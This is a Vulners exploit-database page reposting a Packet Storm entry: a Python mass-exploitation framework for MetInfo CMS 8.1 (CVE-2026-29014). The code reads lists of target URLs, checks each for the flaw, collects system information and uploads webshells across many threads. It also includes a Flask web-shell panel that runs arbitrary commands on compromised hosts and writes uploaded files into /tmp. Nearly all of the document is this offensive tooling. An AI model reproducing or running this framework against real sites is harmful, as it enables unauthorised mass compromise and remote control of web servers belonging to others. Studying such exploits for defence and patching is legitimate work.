Lucene search
K

📄 MetInfo CMS 8.1 Shell Upload Mass Exploiter

🗓️ 24 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 51 Views

Mass exploitation framework for MetInfo CMS 8.1 to test and exploit CVE-2026-29014 targets.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2026-29014
1 Apr 202615:26
circl
CNNVD
MetInfo CMS 安全漏洞
1 Apr 202600:00
cnnvd
CVE
CVE-2026-29014
1 Apr 202612:22
cve
Cvelist
CVE-2026-29014 MetInfo CMS Unauthenticated PHP Code Injection RCE
1 Apr 202612:22
cvelist
EUVD
EUVD-2026-17875
1 Apr 202615:31
euvd
Nuclei
MetInfo CMS <= 8.1 - Remote Code Execution
6 Jun 202603:01
nuclei
NVD
CVE-2026-29014
1 Apr 202613:16
nvd
Packet Storm
📄 MetInfo CMS 8.1 Code Injection
1 Apr 202600:00
packetstorm
Packet Storm
📄 MetInfo CMS 8.1 PHP Code Injection
24 Apr 202600:00
packetstorm
Packet Storm News
MetInfo CMS 8.1 WeChat Module Vulnerability Detection Scanner
24 Apr 202600:00
packetstormnews
Rows per page
==================================================================================================================================
    | # Title     : MetInfo CMS 8.1 Mass Exploitation & Web Shell Framework                                                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.metinfo.cn                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This Python module is a mass exploitation framework designed to automate the testing and exploitation of multiple MetInfo CMS targets potentially affected by CVE-2026-29014.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import threading
    import queue
    import json
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    
    class MetInfoMassExploit:
        """Mass exploitation for multiple targets"""
    
        def __init__(self, targets_file, threads=10, output_file=None, exploit_class=None):
            self.targets = self.load_targets(targets_file)
            self.threads = threads
            self.output_file = output_file
            self.results = []
            self.lock = threading.Lock()
            self.exploit_class = exploit_class
    
        def load_targets(self, file_path):
            """Load targets from file"""
            targets = []
            with open(file_path, 'r') as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#'):
                        targets.append(line)
            return targets
    
        def exploit_single(self, target_url):
            """Exploit a single target"""
            try:
                if not self.exploit_class:
                    return None
    
                exploit = self.exploit_class(target_url, verbose=False)
    
                if exploit.check_vulnerability():
                    result = {
                        'url': target_url,
                        'vulnerable': True
                    }
    
                    if hasattr(exploit, "get_system_info"):
                        try:
                            result['info'] = exploit.get_system_info()
                        except:
                            result['info'] = None
    
                    if hasattr(exploit, "upload_webshell"):
                        try:
                            webshell = exploit.upload_webshell()
                            if webshell:
                                result['webshell'] = webshell
                        except:
                            pass
    
                    self.log_result(result)
                    return result
    
                else:
                    self.log_result({'url': target_url, 'vulnerable': False})
                    return None
    
            except Exception as e:
                self.log_result({
                    'url': target_url,
                    'vulnerable': False,
                    'error': str(e)
                })
            return None
    
        def log_result(self, result):
            """Log result with thread safety"""
            with self.lock:
                self.results.append(result)
    
                if result.get('vulnerable'):
                    print(f"[+] VULNERABLE: {result.get('url')}")
                    if result.get('webshell'):
                        print(f"    Webshell: {result.get('webshell')}")
                else:
                    print(f"[-] Not vulnerable: {result.get('url')}")
    
        def run(self):
            """Run mass exploitation"""
            print(f"[*] Loaded {len(self.targets)} targets")
            print(f"[*] Using {self.threads} threads")
    
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                futures = [
                    executor.submit(self.exploit_single, url)
                    for url in self.targets
                ]
    
                for future in as_completed(futures):
                    try:
                        future.result()
                    except Exception:
                        pass
            if self.output_file:
                with open(self.output_file, 'w') as f:
                    json.dump(self.results, f, indent=2)
    
                print(f"[*] Results saved to {self.output_file}")
    
            vulnerable_count = sum(1 for r in self.results if r.get('vulnerable'))
            print(f"\n[*] Summary: {vulnerable_count}/{len(self.targets)} targets vulnerable")
    class MetInfoWebShell:
        """Web-based shell interface using Flask"""
    
        def __init__(self, exploit_instance):
            self.exploit = exploit_instance
            self.app = None
    
        def start(self, host='0.0.0.0', port=8080):
            """Start web shell server"""
            try:
                from flask import Flask, request, render_template_string
                import base64  # FIX: missing import
    
                app = Flask(__name__)
    
                TEMPLATE = '''
                <html>
                <body>
                <h2>MetInfo Web Shell</h2>
    
                <form method="post">
                    <input type="text" name="cmd">
                    <input type="submit">
                </form>
    
                {% if output %}
                <pre>{{ output }}</pre>
                {% endif %}
                </body>
                </html>
                '''
    
                @app.route('/', methods=['GET', 'POST'])
                def index():
                    output = ""
    
                    if request.method == 'POST':
                        if 'cmd' in request.form:
                            cmd = request.form['cmd']
                            output = self.exploit.execute_command(cmd) or ""
    
                        elif 'file' in request.files:
                            file = request.files['file']
                            if file and file.filename:
                                content = file.read()
                                b64_content = base64.b64encode(content).decode()
    
                                remote_path = f"/tmp/{file.filename}"
                                self.exploit.execute_command(
                                    f"echo '{b64_content}' | base64 -d > {remote_path}"
                                )
                                output = f"Uploaded to {remote_path}"
    
                    return render_template_string(TEMPLATE, output=output)
    
                self.app = app
                print(f"[*] Web shell started at http://{host}:{port}")
                app.run(host=host, port=port)
    
            except ImportError:
                print("[-] Flask not installed")
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
CVSS 3.19.8
EPSS0.31224
SSVC
51